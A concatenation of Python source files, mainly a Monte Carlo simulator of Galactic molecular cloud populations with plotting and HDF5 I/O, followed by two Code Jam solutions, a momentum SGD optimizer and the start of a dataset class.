'\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n def header(self,string):\n return self.HEADER+str(string)+self.ENDC\n def blue(self,string):\n return self.OKBLUE+str(string)+self.ENDC\n def green(self,string):\n return self.OKGREEN+str(string)+self.ENDC\n def warning(self,string):\n return self.WARNING+str(string)+self.ENDC\n def fail(self,string):\n return self.FAIL+str(string)+self.ENDC\n def bold(self,string):\n return self.BOLD+str(string)+self.ENDC\n def underline(self,string):\n return self.UNDERLINE+str(string)+self.ENDC\n\nclass Cloud(object):\n\t\"\"\"\n\tObject encoding the properties of each cloud, i.e.:\n\n\t- :math:`(R,\\phi, z )` the Galactic coordinates of the center of the cloud, in units of :math:`(kpc, rad, kpc)`;\n\t- :math:`(d_{\\odot},\\ell, b )` the position referred in the Solar system frame in units of :math:`(kpc, rad,rad)`;\n\t- :math:`\\epsilon`, the emissivity in the center in units of :math:`K km/s`\n\t- :math:`L` the cloud size in units of :math:`pc`\n\t\"\"\"\n\tdef assign_sun_coord(self,d,latit,longit):\n\n\t\tself.has_suncoord=True\n\t\tself.X_sun=[d,latit,longit]\n\t\tpass\n\tdef emissivity(self,R):\n\t\t\"\"\"\n\t\treplicating the profile in eq.(3) of `Puglisi+ 2017 `_\n\t\t\"\"\"\n\t\tA \t=\tglobals()['emiss_params'][0]\n\t\tR0 =\tglobals()['emiss_params'][1]\n\t\treturn A*np.exp(-R/R0)\n\n\tdef print_cloudinfo(self):\n\t\tif not self.has_suncoord:\n\t\t\tprint(\"%d \\t %g \\t %g \\t %g \\t %g \\t %g\\n\"%(self.id,self.X[0],self.X[1],self.X[2],self.W,self.L))\n\t\telif self.has_suncoord:\n\t\t\tprint(\"%d \\t %g \\t %g \\t %g \\t %g \\t %g\\t %g \\t %g \\t %g \\n\"%(self.id,self.X[0],self.X[1],self.X[2],self.W,self.L,\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tself.X_sun[0],self.X_sun[1]*180./np.pi,self.X_sun[2]*180./np.pi))\n\t\tpass\n\tdef size_function(self,R):\n\t\t\"\"\"\n\t\tCompute the size in a very wide range of cloud sizes :math:`[s_1,s_2] pc`, from random numbers following\n\t\tthe probability distribution function coming from the cloud size function eq.(4) of\n\t\t`Puglisi+ 2017 `_.\n\t\tWe split it in two parts :\n\n\t\t- if :math:`L>s_0` a decreasing power-law distribution has been assumed with spectral index :math:`a_L=0.8` (see Heyer Dame 2015).\n\t\t- Otherwise In the outer Galaxy a lower spectral index has been measured :math:`a_L=3.3`, whereas in the inner Galaxy a steeper one :math:`a_L=3.9`.\n\n\t\t\"\"\"\n\t\ts1=globals()['L1']\n\t\ts0,s2=globals()['L0'],globals()['L2']\n\t\talpha1=0.8\n\n\t\tif R<8.3:\n\t\t\talpha2=3.9\n\t\telse :\n\t\t\talpha2=3.3\n\n\t\t#normalization constant such that Integral(dP)=1 in [sizemin,sizemax]\n\t\tk2=1./( 1./(alpha1 + 1.) *s1**(-alpha1-alpha2) *( s1**(1+alpha1 )- s0**(1+alpha1) ) \\\n\t\t\t+ 1./(1.- alpha2 )* (s2**(1-alpha2)- s1**(1-alpha2)))\n\t\tk1=s1**(-alpha1-alpha2) * k2\n\t\tX10\t=\tk1/(alpha1+1.)*(s1**(1+alpha1 )- s0**(1+alpha1))\n\t\tX21\t=\tk2/(1.-alpha2)*(s2**(1-alpha2)- s1**(1-alpha2))\n\n\t\tx=np.random.uniform()\n\t\tif x=2:\n\t\t\tzipped=list(zip(np.arange(self.n),self.r,self.phi,self.zeta,self.L,self.W,self.d_sun,self.lat,self.long))\n\t\tfor i,r,p,t,l,w,d,latit,longit in zipped:\n\t\t\tc=Cloud(i,r,p,t,size=l,em=w)\n\t\t\tc.assign_sun_coord(d,latit,longit)\n\t\t\tself.clouds.append(c)\n\t\t\tc=None\n\t\tpass\n\tdef plot_histogram_population(self,figname=None):\n\t\t\"\"\"\n\t\tMakes histograms of all over the population of clouds to check the probability\n\t\tdensity functions (PDF) of the coordinates :math:`R_{gal}, z, d_{\\odot}, \\ell`.\n\n\t\t.. note::\n\n\t\t\tSet `figname` to the path of your file where to save the plot, otherwise it outputs to screen.\n\n\t\t\"\"\"\n\t\th,edges=np.histogram(self.r,bins=200,normed=True)\n\t\tbins=np.array([(edges[i]+edges[i+1])/2. for i in range(len(h))])\n\t\tarea=np.array([(edges[i+1]-edges[i])*h[i] for i in range(len(h))])\n\t\tfig=plt.figure(figsize=(12,9))\n\n\t\t#plt.subplot(2,3,1)\n\t\tplt.subplot(2,2,1)\n\t\th,bins,p=plt.hist(self.r,200,normed=True,histtype='stepfilled',alpha=0.3,label='Bin =0.1 kpc')\n\t\tax1 = plt.gca()\n\t\tplt.xlim([0,12])\n\t\txmajorLocator = MultipleLocator(2)\n\t\txminorLocator = MultipleLocator(.5)\n\t\txmajorFormatter = FormatStrFormatter('%d')\n\t\tax1.xaxis.set_major_locator(xmajorLocator)\n\t\tax1.xaxis.set_major_formatter(xmajorFormatter)\n\t\tax1.xaxis.set_minor_locator(xminorLocator)\n\n\t\t#ymajorFormatter = FormatStrFormatter('%1')\n\t\t#ax.yaxis.set_major_formatter(ymajorFormatter)\n\t\tplt.xlabel(r'$R_{gal}\\,$ [kpc]',fontsize=17)\n\n\t\tplt.legend(loc='upper right', numpoints = 1,prop={'size':15} )\n\t\t#plt.ylabel('N per bin '+r'$(\\times 10^5)$',fontsize=17)\n\t\tplt.ylabel('PDF',fontsize=17)\n\t\tradtodeg=180./np.pi\n\t\tplt.subplot(2,2,4)\n\t\tif self.model=='Spherical':\n\t\t\tplt.hist(np.cos(self.theta),bins=np.linspace(-1.,1.,5),histtype='stepfilled',alpha=0.3)\n\t\t\tplt.xlabel(r'$\\cos(\\theta )\\, $ ',fontsize=20)\n\t\telse:\n\t\t\tplt.hist(self.zeta*1e3,80,normed=True,histtype='stepfilled',alpha=0.3,label='Bin = 5 pc')\n\t\t\tplt.legend(loc='upper right', numpoints = 1,prop={'size':15} )\n\t\t\tplt.xlabel('Vertical position [pc] ',fontsize=17)\n\t\t\tplt.xlim([-200,200])\n\t\t\tax2 = plt.gca()\n\t\t\tplt.ylim([0,0.01])\n\t\t\txmajorLocator = MultipleLocator(100)\n\t\t\txminorLocator = MultipleLocator(10)\n\t\t\txmajorFormatter = FormatStrFormatter('%d')\n\t\t\tax2.xaxis.set_major_locator(xmajorLocator)\n\t\t\tax2.xaxis.set_major_formatter(xmajorFormatter)\n\t\t\tax2.xaxis.set_minor_locator(xminorLocator)\n\t\t\tax2.yaxis.set_major_locator(MultipleLocator(.005))\n\t\t\tax2.yaxis.set_minor_locator(MultipleLocator(.001))\n\n\n\t\t\tymajorFormatter = FormatStrFormatter('%1.1e')\n\t\t\t#ax.yaxis.set_major_formatter(ymajorFormatter)\n\n\t\tplt.subplot(2,2,3,sharey=ax1)\n\t\tplt.hist(self.d_sun,200,normed=True,histtype='stepfilled',alpha=0.3,label='Bin =0.1 kpc')\n\t\tplt.legend(loc='upper right', numpoints = 1,prop={'size':15} )\n\t\tplt.xlabel('Heliocentric Distance [kpc]',fontsize=17)\n\t\tplt.xlim([0,20])\n\t\tax3 = plt.gca()\n\t\txmajorLocator = MultipleLocator(5)\n\t\txminorLocator = MultipleLocator(1)\n\t\txmajorFormatter = FormatStrFormatter('%d')\n\t\tax3.xaxis.set_major_locator(xmajorLocator)\n\t\tax3.xaxis.set_major_formatter(xmajorFormatter)\n\t\tax3.xaxis.set_minor_locator(xminorLocator)\n\n\t\tymajorFormatter = FormatStrFormatter('%1.1e')\n\t\t#ax.yaxis.set_major_formatter(ymajorFormatter)\n\t\t#plt.ylabel('N per bin '+r'$(\\times 10^5)$',fontsize=17)\n\t\tplt.ylabel('PDF',fontsize=17)\n\n\n\t\tplt.subplot(2,2,2)\n\t\tm=np.where(self.long >=np.pi)[0]\n\t\tl=self.long*0.\n\t\tl=self.long\n\t\tl[m]=self.long[m] - 2*np.pi\n\t\tplt.hist(l*radtodeg,bins=np.linspace(-180,180,72),normed=True,histtype='stepfilled',alpha=0.3,label='Bin = 5 deg ')\n\t\tax = plt.gca()\n\t\txmajorLocator = MultipleLocator(100)\n\t\txminorLocator = MultipleLocator(10)\n\t\txmajorFormatter = FormatStrFormatter('%d')\n\t\tax.xaxis.set_major_locator(xmajorLocator)\n\t\tax.xaxis.set_major_formatter(xmajorFormatter)\n\t\tax.xaxis.set_minor_locator(xminorLocator)\n\t\tax.yaxis.set_major_locator(MultipleLocator(.005))\n\t\tax.yaxis.set_minor_locator(MultipleLocator(.001))\n\t\tymajorFormatter = FormatStrFormatter('%1.1e')\n\t\t#ax.yaxis.set_major_formatter(ymajorFormatter)\n\n\t\tplt.xlabel('Galactic Longitude [deg] ',fontsize=17)\n\n\t\tplt.legend(loc='upper right', numpoints = 1,prop={'size':15} )\n\t\tplt.xlim([180,-180])\n\t\tplt.ylim([0,0.02])\n\n\t\tif figname is None:\n\t\t\tplt.show()\n\t\telse:\n\t\t\tplt.savefig(figname)\n\t\tplt.close()\n\n\tdef plot_radial(self,X,ylabel,figname=None,color='b'):\n\t\t\"\"\"\n\t\tPlot a quantity `X` which may variates across the Galactic radius :math:`R_{gal}`.\n\t\t(e.g. the midplane thickness, the emissivity profile,etc...)\n\n\t\t.. note::\n\n\t\t\tSet `figname` to the path of your file where to save the plot, otherwise it outputs to screen.\n\t\t\"\"\"\n\t\tplt.plot(self.r,X,color+'-')\n\t\tplt.xlabel(r'$R_{gal}\\, \\mathrm{[kpc]}$ ',fontsize=20)\n\t\tplt.ylabel(ylabel)\n\t\tplt.yscale('log')\n\t\tif figname is None:\n\t\t\tplt.show()\n\t\telse:\n\t\t\tplt.savefig(figname)\n\t\tplt.close()\n\n\tdef plot_3d_population(self,figname=None):\n\t\t\"\"\"\n\t\tMakes density contour plots of all the cloud population.\n\n\t\t.. note::\n\n\t\t\tSet `figname` to the path of your file where to save the plot, otherwise it outputs to screen.\n\t\t\"\"\"\n\n\t\tfrom matplotlib import gridspec,colors\n\t\tx0\t=\tself.cartesian_galactocentric.x.value\n\t\tx1\t=\tself.cartesian_galactocentric.y.value\n\t\tx2\t=\tself.cartesian_galactocentric.z.value\n\t\tplanes={'x-y':[x0,x1],'x-z':[x0,x2],'y-z':[x1,x2]}\n\t\tc=1\n\t\tfig=plt.figure(figsize=(15,15))\n\t\tgs = gridspec.GridSpec(3, 1 )#width_ratios=[1.5, 2,1.5],height_ratios=[1.5,2,1.5])\n\n\t\tfor a in list(planes.keys()):\n\t\t\tx,y=planes[a]\n\t\t\ta1,a2=a.split(\"-\",2)\n\n\t\t\txyrange=[[min(x),max(x)],[min(y),max(y)]]\n\t\t\tnybins,nxbins=50,50\n\t\t\tbins=[nybins,nxbins]\n\t\t\tthresh=2#density threshold\n\t\t\thh, locx, locy = histogram2d(x, y, range=xyrange, bins=[nybins,nxbins])\n\t\t\tposx = np.digitize(x, locx)\n\t\t\tposy = np.digitize(y, locy)\n\t\t\tind = (posx > 0) & (posx <= bins[0]) & (posy > 0) & (posy <= bins[1])\n\t\t\thhsub = hh[posx[ind] - 1, posy[ind] - 1] # values of the histogram where the points are\n\t\t\txdat1 = x[ind][hhsub < thresh] # low density points\n\t\t\tydat1 = y[ind][hhsub < thresh]\n\t\t\thh[hh < thresh] = np.nan # fill the areas with low density by NaNs\n\t\t\tax=plt.subplot(gs[c-1])\n\n\t\t\tax.set_xlabel(a1+' [kpc]',fontsize=20)\n\t\t\tax.set_ylabel(a2+' [kpc]',fontsize=20)\n\t\t\tif a2=='z' and self.model!='Spherical':\n\t\t\t\tim=ax.imshow(np.flipud(hh.T),cmap='jet',vmin=0, vmax=hhsub.max()/2, extent=[-15,15, -1,1],interpolation='gaussian', origin='upper')\n\t\t\t\tax.set_yticks((-.5,0,.5))\n\t\t\telse:\n\t\t\t\tim=ax.imshow(np.flipud(hh.T),cmap='jet',vmin=0, vmax=hhsub.max()/2, extent=np.array(xyrange).flatten(),interpolation='gaussian', origin='upper')\n\t\t\t\tax.plot(xdat1, ydat1, '.',color='darkblue')\n\t\t\tc+=1\n\t\tfig.subplots_adjust(right=0.8)\n\t\tcbar_ax = fig.add_axes([0.85, 0.15, 0.05, 0.7])\n\t\tfig.colorbar(im,cax=cbar_ax)\n\t\tif figname is None:\n\t\t\tplt.show()\n\t\telse:\n\t\t\tplt.savefig(figname)\n\t\tplt.close()\n\tdef print_pop(self):\n\t\t\"\"\"\n\t\tOutput on screen the whole Monte-Carlo catalogue of molecular clouds\n\t\t\"\"\"\n\n\n\t\tcols=bash_colors()\n\t\tprint(cols.header(\"###\"*40))\n\t\tprint(cols.blue(cols.bold(str(self.n)+\" Clouds simulated assuming a \"+self.model+\" model\\n\")))\n\t\tif self.d_sun is None:\n\t\t\tif self.model=='Spherical':\n\t\t\t\tprint(cols.green(\"ID \\t R \\t\\t PHI \\t\\t THETA\\t\\t Emissivity \\t Size \\n\"))\n\t\t\t\tprint(cols.green(\" \\t[kpc]\\t\\t[rad]\\t\\t [rad]\\t\\t [K km/s]\\t [pc]\\t [kpc] \\t [deg] \\t [deg] \\n\"))\n\n\t\t\telse:\n\t\t\t\tprint(cols.green(\"ID \\t R \\t\\t PHI\\t\\t Z \\t\\t Emissivity\\t Size \\n\"))\n\t\t\t\tprint(cols.green(\" \\t[kpc]\\t\\t[rad]\\t\\t[kpc]\\t\\t[K km/s]\\t[pc]\\t[kpc] \\t [deg] \\t [deg]\\n\"))\n\t\t\tprint(cols.header(\"---\"*40))\n\t\telse :\n\t\t\tif self.model=='Spherical':\n\t\t\t\tprint(cols.green(\"ID \\t R \\t\\t PHI \\t\\t THETA\\t\\t Emissivity \\t Size \\t\\t D_sun \\t\\t b \\t\\tl\\n\"))\n\t\t\t\tprint(cols.green(\" \\t[kpc]\\t\\t[rad]\\t\\t [rad]\\t\\t [K km/s]\\t [pc]\\t\\t[kpc] \\t\\t [deg] \\t\\t [deg]\\n\"))\n\t\t\telse:\n\t\t\t\tprint(cols.green(\"ID \\t R \\t\\t PHI\\t\\t Z \\t\\t Emissivity\\t Size \\t\\t D_sun \\t\\t b \\t\\tl\\n\"))\n\t\t\t\tprint(cols.green(\" \\t[kpc]\\t\\t[rad]\\t\\t[kpc]\\t\\t[K km/s]\\t[pc]\\t\\t[kpc] \\t\\t [deg] \\t\\t [deg]\\n\"))\n\t\t\tprint(cols.header(\"---\"*40))\n\t\tfor c in self.clouds:\n\t\t\tc.print_cloudinfo()\n\n\t\tpass\n\tdef print_parameters(self):\n\t\t\"\"\"\n\t\tprint the parameters set for the simulation\n\n\t\t\"\"\"\n\t\ttypical_size=globals()['L1']\n\t\tminsize,maxsize=globals()['L0'],globals()['L2']\n\t\temissivity=globals()['emiss_params']\n\n\n\t\tcols=bash_colors()\n\t\tprint(cols.header(\"###\"*20))\n\t\tprint(cols.blue(\"Parameters to MCMole3D\"))\n\t\tprint(\"---\"*20)\n\t\tprint(cols.green(\"Model\\t\\t\\t\\t....\\t\"),cols.bold(self.model))\n\t\tprint(cols.green(\"#clouds\\t\\t\\t\\t....\\t\"),cols.bold(self.n))\n\t\tprint(cols.green(\"Molecular Ring [location,width]\\t....\\t\"),cols.bold(\"%g,%g\\t\"%(self.R_params[0],self.R_params[1])),\"kpc\")\n\t\tprint(cols.green(\"Central Midplane Thickness\\t....\\t\"),cols.bold(\"%g\\t\"%(self.z_distr[0]*1000)),\"pc\")\n\t\tprint(cols.green(\"Radius of the Galactic Bar \\t....\\t\"),cols.bold(\"%g\\t\"%(self.R_params[2])),\"kpc\")\n\t\tprint(cols.green(\"Scale Radius Midplane Thickness\\t....\\t\"),cols.bold(\"%g\\t\"%self.z_distr[1]),\"kpc\")\n\t\tprint(cols.green(\"Amplitude Emissivity profile\\t....\\t\"),cols.bold(\"%g\\t\"%emissivity[0]),\"K km/s\")\n\t\tprint(cols.green(\"Scale Radius Emissivity profile\\t....\\t\"),cols.bold(\"%g\\t\"%emissivity[1]),\"kpc\")\n\t\tprint(cols.green(\"Cloud Typical size\\t\\t....\\t\"),cols.bold(\"%g\\t\"%typical_size),\"pc\")\n\t\tprint(cols.green(\"Cloud size [min,max]\\t\\t....\\t\"),cols.bold(\"%g,%g\\t\"%(minsize,maxsize)),\"pc\")\n\t\tprint(cols.header(\"###\"*20))\n\t\tpass\n\n\tdef read_pop_fromhdf5(self,filename):\n\t\t\"\"\"\n\t\tRead from an hdf5 file the cloud population. the :class:`Cloud_Population` is thus initialized by :func:`initialize_cloud_population_from_output`\n\t\t\"\"\"\n\t\tf=h5.File(filename,'r')\n\t\tg=f[\"Cloud_Population\"]\n\t\tself.r=g[\"R\"][...]\n\t\tself.phi=g[\"Phi\"][...]\n\t\tself.L=g[\"Sizes\"][...]\n\t\tself.W=g[\"Emissivity\"][...]\n\t\tcoord_array=np.zeros(self.n)\n\t\tif self.models[self.model]==1:\n\t\t\tself.theta=g[\"Theta\"][...]\n\t\t\tcoord_array=coord.PhysicsSphericalRepresentation(self.phi*u.rad,self.theta * u.rad,self.r*u.kpc )\n\t\telif self.models[self.model]>=2:\n\t\t\tself.zeta=g[\"Z\"][...]\n\t\t\tcoord_array=coord.CylindricalRepresentation(self.r*u.kpc,self.phi*u.rad,self.zeta*u.kpc )\n\t\tself.d_sun=g[\"D_sun\"][...]\n\t\tself.long=g[\"Gal_longitude\"][...]\n\t\tself.lat=g[\"Gal_Latitude\"][...]\n\t\tself.healpix_vecs=g[\"Healpix_Vec\"][...]\n\n\t\tself.cartesian_galactocentric = self.cartesianize_coordinates(coord_array)\n\t\tfrom utilities.utilities_functions import bash_colors\n\n\t\tcols=bash_colors()\n\t\tf.close()\n\t\tprint(cols.bold(\"////// \\t read from \"+filename+\"\\t ////////\"))\n\t\tpass\n\tdef set_parameters(self,radial_distr=[5.3,2.5,3],emissivity=[60,3.59236], thickness_distr=[0.1,9.],\\\n\t\t\t\t\t\t\ttypical_size=10.,size_range=[0.3,30]):\n\t\t\"\"\"\n\t\tSet key-parameters to the population of clouds.\n\n\t\t- ``radial_distr``:{list}\n\t\t\t:math:`(\\mu_R,FWHM_R, R_{bar})` parameters to the Galactic radius distribution of the clouds,\n\t\t\tassumed Gaussian. The last parameters is the postition of the bar tip.\n\t\t\tDefault :math:`\\mu_R= 5.3 \\, ,\\sigma_R=FWHM_R/\\sqrt(2 \\ln 2)= 2.12,\\, R_{bar}=3 \\, kpc`.\n\t\t- ``thickness_distr``:{list}\n\t\t\t:math:`(FWHM_{z,0}, R_{z,0})` parameters to the vertical thickness of the Galactic plane\n\t\t\tincreasing in the outer Galaxy with :math:`\\sigma(z)=sigma_z(0) *cosh(R/R_{z,0})`.\n\t\t\tDefault :math:`\\sigma_{z,0}=0.1 \\, , R_{z,0}=9` kpc.\n\t\t- ``emissivity``:{list}\n\t\t\tParameters to the emissivity radial profile, :math:`\\epsilon(R)= \\epsilon_0 \\exp(- R/R_0)`.\n\t\t\tDefault Heyer and Dame 2015 values : :math:`\\epsilon_0=60\\, K km/s,\\, R_0=3.6 \\, kpc`.\n\t\t- ``typical_size``: {scalar}\n\t\t\tTypical size of molecular clouds where we observe the peak in the size distribution function.\n\t\t\tDefault :math:`L_0=10` pc.\n\t\t\"\"\"\n\n\n\t\tself.R_params=list(radial_distr)\n\t\tself.R_params[1]/=np.sqrt(2*np.log(2))\n\t\tself.z_distr=list(thickness_distr)\n\t\tself.z_distr[0]/=(2.*np.sqrt(2.*np.log(2.)))\n\t\tglobals()['L1']=typical_size\n\t\tglobals()['L0'],globals()['L2']=size_range\n\t\tglobals()['emiss_params']=emissivity\n\t\tpass\n\n\tdef write2hdf5(self,filename):\n\t\t\"\"\"\n\t\tWrite onto an hfd5 file the whole catalogue\n\n\t\t\"\"\"\n\n\n\t\tf=h5.File(filename,'w')\n\t\tg=f.create_group(\"Cloud_Population\")\n\t\tg.create_dataset('Healpix_Vec',np.shape(self.healpix_vecs),dtype=h5.h5t.IEEE_F64BE,data=self.healpix_vecs)\n\t\tg.create_dataset('R',np.shape(self.r),dtype=h5.h5t.IEEE_F64BE,data=self.r)\n\t\tg.create_dataset('Phi',np.shape(self.phi),dtype=h5.h5t.IEEE_F64BE,data=self.phi)\n\t\tif self.models[self.model]==1:\n\t\t\tg.create_dataset('Theta',np.shape(self.theta),dtype=h5.h5t.IEEE_F64BE,data=self.theta)\n\t\telif self.models[self.model]>=2:\n\t\t\tg.create_dataset('Z',np.shape(self.zeta),dtype=h5.h5t.IEEE_F64BE,data=self.zeta)\n\n\t\tg.create_dataset('Sizes',np.shape(L),dtype=h5.h5t.IEEE_F64BE,data=L)\n\t\tg.create_dataset('Emissivity',np.shape(W),dtype=h5.h5t.IEEE_F64BE,data=W)\n\t\tg.create_dataset('D_sun',np.shape(self.d_sun),dtype=h5.h5t.IEEE_F64BE,data=self.d_sun)\n\t\tg.create_dataset('Gal_Latitude',np.shape(self.lat),dtype=h5.h5t.IEEE_F64BE,data=self.lat)\n\t\tg.create_dataset('Gal_longitude',np.shape(self.long),dtype=h5.h5t.IEEE_F64BE,data=self.long)\n\n\t\tf.close()\n\t\tpass\n\n\n\tdef __init__(self, N_clouds,model, randseed=None ):\n\t\tself.model=model\n\t\tself.models={'Spherical':1,'Axisymmetric':2,'LogSpiral':3}\n\t\t#it's possible to execute simulations with the same random seed\n\t\tif randseed is None:\n\t\t\trandseed=pl.random.randint(0, high=1e4)\n\t\tself.random_seed=randseed\n\n\t\tif self.models[model]==1:\n\t\t\tself.r,self.theta,self.phi=0,0,0\n\t\telif self.models[model]==2:\n\t\t\tself.r,self.zeta,self.phi=0,0,0\n\t\tself.n= N_clouds\n\t\tself.d_sun,self.lat,self.long =None,None,None\n\n\n\t@property\n\tdef emissivity(self):\n\t\treturn self.get_pop_emissivities_sizes()[0]\n\t@property\n\tdef sizes(self):\n\t\treturn self.get_pop_emissivities_sizes()[1]\n\n\nclass Collect_Clouds(Cloud_Population):\n\t\"\"\"\n\tList of `Cloud_population` classes . Read from output\n\t\"\"\"\n\n\tdef __init__(self, N_pops,model,Ncl=4000,filestring=None):\n\n\t\tsuper(Collect_Clouds,self).__init__(Ncl,model)\n\t\tself.Pops=[]\n\t\t#compute the populations\n\t\tfor i in range(N_pops):\n\t\t\tpop=Cloud_Population(self.n,self.model)\n\t\t\tif filestring is None:\n\t\t\t\tpop()\n\t\t\telse:\n\t\t\t\tfname=filestring+'_'+self.model+'_'+str(i)+'.hdf5'\n\t\t\t\tpop.initialize_cloud_population_from_output(fname)\n\n\t\t\tself.Pops.append(pop)\n\t\t\tpop=None\n\t\tself.concatenate_arrays()\n\n\n\n\tdef concatenate_arrays(self):\n\t\t\"\"\"\n\t\tConcatenate arrays of several :class:`Cloud_Population` objects to process all of these quantities together\n\n\t\t\"\"\"\n\t\tself.r=np.concatenate([p.r for p in self.Pops])\n\t\tself.phi=np.concatenate([p.phi for p in self.Pops])\n\t\tself.d_sun=np.concatenate([p.d_sun for p in self.Pops])\n\t\tself.lat=np.concatenate([p.lat for p in self.Pops])\n\t\tself.long=np.concatenate([p.long for p in self.Pops])\n\t\tif self.models[self.model]==1:\n\t\t\tself.theta=np.concatenate([p.theta for p in self.Pops])\n\t\telif self.models[self.model]>=2:\n\t\t\tself.zeta=np.concatenate([p.zeta for p in self.Pops])\n\t\tself.W=np.concatenate([p.get_pop_emissivities_sizes()[0] for p in self.Pops])\n\t\tself.L=np.concatenate([p.get_pop_emissivities_sizes()[1] for p in self.Pops])\n\n\n\tdef write2hdf5(self,filename):\n\t\t\"\"\"\n\t\tWrite onto an hfd5 file the whole catalogue\n\n\t\t\"\"\"\n\t\tf=h5.File(filename,'w')\n\t\tg=f.create_group(\"Cloud_Population\")\n\t\tg.create_dataset('Healpix_Vec',np.shape(self.healpix_vecs),dtype=h5.h5t.IEEE_F64BE,data=self.healpix_vecs)\n\t\tg.create_dataset('R',np.shape(self.r),dtype=h5.h5t.IEEE_F64BE,data=self.r)\n\t\tg.create_dataset('Phi',np.shape(self.phi),dtype=h5.h5t.IEEE_F64BE,data=self.phi)\n\t\tif self.models[self.model]==1:\n\t\t\tg.create_dataset('Theta',np.shape(self.theta),dtype=h5.h5t.IEEE_F64BE,data=self.theta)\n\t\telif self.models[self.model]>=2:\n\t\t\tg.create_dataset('Z',np.shape(self.zeta),dtype=h5.h5t.IEEE_F64BE,data=self.zeta)\n\n\t\tg.create_dataset('Sizes',np.shape(self.L),dtype=h5.h5t.IEEE_F64BE,data=self.L)\n\t\tg.create_dataset('Emissivity',np.shape(self.W),dtype=h5.h5t.IEEE_F64BE,data=self.W)\n\t\tg.create_dataset('D_sun',np.shape(self.d_sun),dtype=h5.h5t.IEEE_F64BE,data=self.d_sun)\n\t\tg.create_dataset('Gal_Latitude',np.shape(self.lat),dtype=h5.h5t.IEEE_F64BE,data=self.lat)\n\t\tg.create_dataset('Gal_longitude',np.shape(self.long),dtype=h5.h5t.IEEE_F64BE,data=self.long)\n\n\t\tf.close()\n\t\tpass\n","repo_name":"giuspugl/MCMole3D","sub_path":"mcmole3d/MCMole3D.py","file_name":"MCMole3D.py","file_ext":"py","file_size_in_byte":24707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23476904021","text":"def find_asleep_number(number):\n if number == '0':\n return \"INSOMNIA\"\n digits = set(number)\n m = 2\n checked_number = number\n while True:\n if len(digits) == 10:\n return number\n number = str(int(checked_number) * m)\n digits |= set(number)\n m += 1\n\n\ndef print_solutions(filename):\n content = open(filename).read().strip().split('\\n')\n test_case_count = int(content[0])\n i = 1\n while i <= test_case_count:\n number = find_asleep_number(content[i])\n print(\"Case #%s: %s\" % (i, number))\n i += 1\n\nfilename = raw_input()\nprint_solutions(filename)\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_177/1342.py","file_name":"1342.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26063505674","text":"import torch\nfrom torch.optim.optimizer import Optimizer, required\n\nclass MSGD(Optimizer):\n r\"\"\"\n Momentum Stochastic gradient descent:\n $$\n \\left\\{\n \\begin{aligned}\n v \\gets & \\gamma v + \\eta \\frac{\\partial L}{\\partial \\theta} \\\\\n \\theta \\gets & \\theta - v.\n \\end{aligned}\n \\right.\n $$\n \"\"\"\n\n def __init__(self, params, lr=required, momentum=0.9, dampening=0, weight_decay=0):\n if lr is not required and lr < 0.0:\n raise ValueError(\"Invalid learning rate: {}\".format(lr))\n if momentum < 0.0:\n raise ValueError(\"Invalid momentum value: {}\".format(momentum))\n if weight_decay < 0.0:\n raise ValueError(\"Invalid weight_decay value: {}\".format(weight_decay))\n\n defaults = dict(lr=lr, momentum=momentum, dampening=dampening, weight_decay=weight_decay)\n super(MSGD, self).__init__(params, defaults)\n\n def __setstate__(self, state):\n super(MSGD, self).__setstate__(state)\n\n def step(self, closure=None):\n \"\"\"Performs a single optimization step.\n Arguments:\n closure (callable, optional): A closure that reevaluates the model\n and returns the loss.\n \"\"\"\n loss = None\n if closure is not None:\n loss = closure()\n\n for group in self.param_groups:\n for p in group['params']:\n if p.grad is None:\n continue\n d_p = p.grad.data\n if group['weight_decay'] != 0:\n d_p.add_(group['weight_decay'], p.data)\n if group['momentum'] != 0:\n param_state = self.state[p]\n if 'momentum_buffer' not in param_state:\n param_state['momentum_buffer'] = torch.clone(d_p).detach()\n else:\n param_state['momentum_buffer'].mul_(group['momentum']).add_(1 - group['dampening'], d_p)\n d_p = param_state['momentum_buffer']\n p.data.add_(-group['lr'], d_p)\n return loss\n","repo_name":"w-gc/optimizer","sub_path":"MSGD.py","file_name":"MSGD.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23574803881","text":"# coding=utf-8\n\nimport sys\n\n\ndef solve(r, c, m):\n for i in range(r):\n s = None\n for j in range(c):\n if m[i][j] != \"?\":\n s = m[i][j]\n break\n if s is None:\n continue\n for j in range(c):\n if m[i][j] == \"?\":\n m[i][j] = s\n else:\n s = m[i][j]\n for j in range(c):\n s = None\n for i in range(r):\n if m[i][j] != \"?\":\n s = m[i][j]\n break\n for i in range(r):\n if m[i][j] == \"?\":\n m[i][j] = s\n else:\n s = m[i][j]\n return m\n\n\ndef main(argv=None):\n if argv is None:\n argv = sys.argv\n infile = argv[1]\n outfile = argv[2]\n pin = open(infile, \"r\")\n pout = open(outfile, \"w\")\n n = int(pin.readline().strip())\n for i in range(n):\n r, c = pin.readline().strip().split(\" \")\n r = int(r)\n c = int(c)\n m = []\n for j in range(r):\n m.append(list(pin.readline().strip()))\n res = solve(r, c, m)\n pout.write(\"Case #\" + str(i + 1) + \":\\n\")\n for j in range(r):\n pout.write(\"\".join(res[j]) + \"\\n\")\n\n pin.close()\n pout.close()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_203/180.py","file_name":"180.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39313950780","text":"import os\nimport glob\nimport numpy as np\n\nimport torch\nfrom torch.utils.data import Dataset\n\nRAW_DATA_TYPES = ['image', 'bounding_boxes', 'object_classes', 'object_depths', 'image_point_cloud_map_unscaled']\nTEACHER_DATA_TYPES = ['object_class_mask']\n\nclass Datalake(Dataset):\n def __init__(self, num_data, data_types, path):\n \"\"\" Pass in a list of strings of feature names.\"\"\"\n self.num_data = num_data\n 